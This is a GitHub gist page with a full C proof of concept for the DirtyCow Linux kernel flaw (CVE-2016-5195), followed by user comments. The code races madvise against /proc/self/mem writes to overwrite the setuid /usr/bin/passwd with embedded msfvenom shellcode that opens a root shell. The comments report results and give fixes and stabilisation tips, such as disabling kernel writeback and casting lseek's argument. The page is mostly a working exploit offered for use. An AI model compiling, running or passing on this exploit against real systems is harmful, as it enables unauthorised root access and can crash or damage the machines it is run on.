Skip to content

Instantly share code, notes, and snippets.

@rverton
Created October 21, 2016 14:06
Show Gist options
  • Save rverton/e9d4ff65d703a9084e85fa9df083c679 to your computer and use it in GitHub Desktop.
Save rverton/e9d4ff65d703a9084e85fa9df083c679 to your computer and use it in GitHub Desktop.
CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
}
int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
Copy link

ghost commented Oct 22, 2016

All looks legit to me tuxayo.

@enderusaf
Copy link

Seems to work great, but freezes my virtual machine after a minute or so.

@falk0069
Copy link

Had to explicitly cast on line 98: lseek(f,(__off_t)map,SEEK_SET);

It then compiled and worked on Centos7-x64 for about 30 seconds after which selinux went crazy and the system reboot. Some sample /var/log/messages prior to the crash:

Oct 22 23:24:10 myserver setroubleshoot: SELinux is preventing /usr/bin/passwd from write access on the file /proc/<pid>/mem. For complete SELinux messages. run sealert -l cd27eda7-f82d-4595-9505-b3fd4990262f
Oct 22 23:24:11 myserver setroubleshoot: SELinux is preventing /usr/bin/bash from read access on the file .bash_history. For complete SELinux messages. run sealert -l 3366a8fa-6662-43e0-b715-4f882607f4a3

Great work so far!

@eltrasimaco
Copy link

Same thing happened to me (system crash in centos 7/64) with selinux disabled, but I went root for about one minute or so

@artkond
Copy link

artkond commented Oct 23, 2016

Tested on debian 8 x86. uname 3.16-0-4-686. Doesn't work
Don't forget to restore /tmp/bak thread stopped /usr/bin/passwd: 1: /usr/bin/passwd: ELF����: not found /usr/bin/passwd: 1: /usr/bin/passwd: not found /usr/bin/passwd: 1: /usr/bin/passwd: 1sG not found /usr/bin/passwd: 2: /usr/bin/passwd: /bin/bash/lib/ld-linux.so.2���GNU��: not found /usr/bin/passwd: 3: /usr/bin/passwd: ���������xpected user1@debian8x86:~$ passwd bash: /usr/bin/passwd: cannot execute binary file: Exec format error

@jmssil
Copy link

jmssil commented Oct 23, 2016

@artkond, did you choose the correct payload?

In a VM with Ubuntu 16.04.1 it works but freezes the system.

@leoheck
Copy link

leoheck commented Oct 24, 2016

@libmifan I can't even compile it with Centos 5.11 (2.6.18-412.el5.centos.plus), I had to add:

#include <sys/stat.h>
#include <sys/types.h>

Is this expected? Maybe not, right @falk0069?

gcc cowroot.c -o cowroot -pthread
cowroot.c: In function ‘procselfmemThread’:
cowroot.c:101: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast

@rverton
Copy link
Author

rverton commented Oct 25, 2016

The warnings are normal. This PoC crashes on some systems and on some others it's stable. I can't fix this for now.

Maybe you can find a different PoC from here, which makes use of another technique and does not crash.

@kostrin
Copy link

kostrin commented Oct 25, 2016

I was able to stabilize this exploit by turning off periodic write-back after the shell pops. As found in the following issue.

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

@joshuaskorich
Copy link

joshuaskorich commented Oct 26, 2016

The lazy(easy) approach to disabling writebacks: https://gist.github.com/joshuaskorich/86c90e12436c873e4a06bd64b461cc43

@MarlikAlmighty
Copy link

gcc cowroot.c -o cowroot -pthread
cowroot.c: In function ‘procselfmemThread’:
cowroot.c:98:17: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [-Wint-conversion]
lseek(f,map,SEEK_SET);
^
In file included from cowroot.c:27:0:
/usr/include/unistd.h:337:16: note: expected ‘__off_t {aka long int}’ but argument is of type ‘void *’
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^
cowroot.c: In function ‘main’:
cowroot.c:135:5: warning: implicit declaration of function ‘asprintf’ [-Wimplicit-function-declaration]
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
^
cowroot.c:139:5: warning: implicit declaration of function ‘fstat’ [-Wimplicit-function-declaration]
fstat(f,&st);
^
cowroot.c:141:12: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘__off_t {aka long int}’ [-Wformat=]
printf("Size of binary: %d\n", st.st_size);
^

@wjx
Copy link

wjx commented Nov 6, 2016

When copying sc into payload, why use memcpy(payload, sc, sc_len+1); instead of memcpy(payload, sc, sc_len); ?
sc_len+1 seems meaningless and copys out of sc array.

@lapsio
Copy link

lapsio commented Nov 9, 2016

goddammit I used this exploit because i forgot my new root password and I didn't realize it alters passwd binary so then I couldn't reset my password to proper one! :<

luckily it doesn't affect snapshots so at least I could revert /etc/shadow and /bin/passwd from old snapshot >.>

@MatanTubul
Copy link

how can i compile it in order to run it on android device?

@royninja
Copy link

how you generate the payload of the metasploit in hexcode(shell code)?

@TheBunnyCoder
Copy link

image
Is this supposed to happen?

@half2me
Copy link

half2me commented May 8, 2017

Any reason why we use 100 as size with madvise

@blakeXwatson
Copy link

Awesome, saved my old dev computer after I forgot my root creds.

@pabloferugr
Copy link

TheBunnyCoder no, it isn´t happen. It means it doesn´t work in your machine

@pabloferugr
Copy link

It works but freeze the machine. I think there isn´t other way like cowroot

@issayevruslan
Copy link

version `GLIBC_2.34' not found

@elbobo-binsh
Copy link

./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.33' not found (required by ./cowroot) ./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.34' not found (required by ./cowroot)

@hutgrabber
Copy link

hutgrabber commented Nov 10, 2024

LSEEK( ) Error on Compiling

If you are facing an lseek() error. Go to line 97 and find the following piece of code:

for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET); # Change Me
        c+=write(f, str, sc_len);
    }

Delete the line that says "Change Me" and replace it with - lseek(f, (off_t)map, SEEK_SET);. Now it should compile without errors.

The edited gist that works, can be found here -
https://gist.github.com/hutgrabber/0f9e8584f6e754cb9dba6f909467afaf

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment